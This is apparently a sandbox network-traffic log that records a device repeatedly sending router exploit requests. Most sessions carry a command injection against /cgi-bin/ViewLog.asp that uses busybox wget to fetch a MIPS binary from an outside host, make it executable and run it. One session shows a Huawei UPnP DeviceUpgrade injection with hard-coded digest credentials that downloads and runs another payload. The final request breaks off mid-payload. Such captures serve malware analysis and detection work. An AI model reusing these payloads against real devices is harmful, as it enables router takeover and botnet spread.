Nov 23, 2023 05:17:55.573714018 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.13	47904	94.120.210.161	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.592776060 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.13	54218	95.86.69.123	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.602030039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.13	46310	94.120.40.81	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.605712891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.13	59714	85.83.242.178	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.754391909 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.965770960 CET	230	IN	HTTP/1.1 301 Moved Permanently Location: /2.0/gui/?item=cgi-bin/ViewLog.asp Content-Length: 0 Connection: close Date: Thu, 23 Nov 2023 04:17:42 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.13	36718	94.120.240.181	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.816390991 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.13	52412	62.29.88.182	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.855551004 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.13	42676	62.210.110.15	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.259107113 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:56.434242964 CET	360	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 23 Nov 2023 04:17:56 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.13	35430	94.120.109.151	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.496582031 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.13	36402	94.121.177.20	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.720732927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.13	50622	94.236.167.13	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.805613995 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.13	48704	94.120.247.76	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.939621925 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.13	60600	85.209.139.232	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.942919016 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.165302992 CET	1340	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 03:54:09 GMT Content-Type: text/html Content-Length: 3167 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.13	55696	94.123.252.183	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.945280075 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.13	59740	62.29.90.60	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:56.951590061 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.13	51972	41.233.241.161	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:57.446085930 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:58.245295048 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 